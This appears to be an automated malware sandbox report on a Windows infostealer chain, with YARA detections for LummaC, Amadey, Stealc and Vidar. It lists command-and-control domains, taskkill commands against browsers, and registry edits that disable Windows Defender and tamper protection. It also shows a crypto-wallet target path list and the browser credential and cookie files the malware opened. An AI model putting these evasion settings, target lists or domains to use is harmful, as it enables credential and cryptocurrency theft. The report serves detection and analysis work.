Code function: 4_2_6C76AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_6C76AC62

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe PID: 5380, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe, type: DROPPED

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2021970417.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: clearancek.site
Source: file.exe, 00000000.00000003.2021970417.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: licendfilteo.site
Source: file.exe, 00000000.00000003.2021970417.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: spirittunek.store
Source: file.exe, 00000000.00000003.2021970417.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bathdoomgaz.store
Source: file.exe, 00000000.00000003.2021970417.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: studennotediw.store
Source: file.exe, 00000000.00000003.2021970417.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: dissapoiznw.store
Source: file.exe, 00000000.00000003.2021970417.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: eaglepawnoy.store
Source: file.exe, 00000000.00000003.2021970417.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mobbipenju.store

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe "C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe "C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001069001\num.exe "C:\Users\user\AppData\Local\Temp\1001069001\num.exe"	Jump to behavior

Uses taskkill to terminate processes

Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

4_2_6C7B4760

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

4_2_6C691C30

Source: 3cfbb3a6fb.exe, 0000000D.00000000.2950542078.0000000000B52000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: DIKGVVY9JNEBJRBXL.exe, 00000006.00000002.2391217460.000000000097C000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: PfC4Program Manager
Source: RIHOEX26J337XMDAUSF1C246W.exe, RIHOEX26J337XMDAUSF1C246W.exe, 00000003.00000002.2260970671.0000000000EE2000.00000040.00000001.01000000.00000006.sdmp, skotes.exe, 00000005.00000002.2297578694.0000000000452000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, 00000007.00000002.2297614571.0000000000452000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager
Source: DIKGVVY9JNEBJRBXL.exe, 00000006.00000002.2391217460.000000000097C000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: oPfC4Program Manager
Source: firefox.exe, 0000001A.00000002.3127901348.000000511663B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Binary or memory string: ["kProgram Manager
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2468284651.0000000000911000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: ["kProgram Manager
Source: 2ffb915ad7.exe, 0000000B.00000002.2842079400.000000000049E000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: FLProgram Manager

Contains functionality to query CPU information (cpuid)

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Code function: 4_2_6C76AE71 cpuid

4_2_6C76AE71

Queries information about the installed CPU (vendor, model number etc)

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001069001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001069001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Code function: 4_2_6C76A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

4_2_6C76A8DC

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Code function: 4_2_6C6B8390 NSS_GetVersion,

4_2_6C6B8390

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

AV process strings found (often used to terminate AV products)

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 3.2.RIHOEX26J337XMDAUSF1C246W.exe.ce0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.250000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.VU8MX8J5A37EO7MMQ3BQL.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.skotes.exe.250000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2297402826.0000000000251000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3246745454.0000000000531000.00000040.00000001.01000000.0000001C.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2706786852.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2297374598.0000000000251000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2204147385.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2260876638.0000000000CE1000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2256057086.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2256151064.0000000005070000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.3203455489.0000000005020000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 1672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2ffb915ad7.exe PID: 8184, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 36.2.num.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.num.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.0.num.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.num.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000025.00000003.3236474739.0000000005040000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000000.2999530094.00000000008B1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3219239848.0000000001137000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3025229093.000000000145E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3217179898.00000000008B1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2240131316.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2467756914.0000000000531000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2469625027.00000000012CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.3202477803.00000000008B1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3015278414.00000000008B1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe PID: 5380, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe PID: 5380, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum\wallets\\.
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.0000000000531000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum\wallets\\.
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: window-state.json
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: exodus.conf.json
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: info.seco
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: ElectrumLTC
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: passphrase.json
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.00000000005BF000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: \Ethereum\
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: Ethereum
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.00000000005C2000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000003.2107150045.00000000011A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.00000000005B8000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: MultiDoge
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000003.2107150045.00000000011A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
